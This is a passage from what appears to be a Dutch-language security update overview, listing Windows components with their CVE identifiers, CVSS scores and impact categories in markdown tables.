\n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | 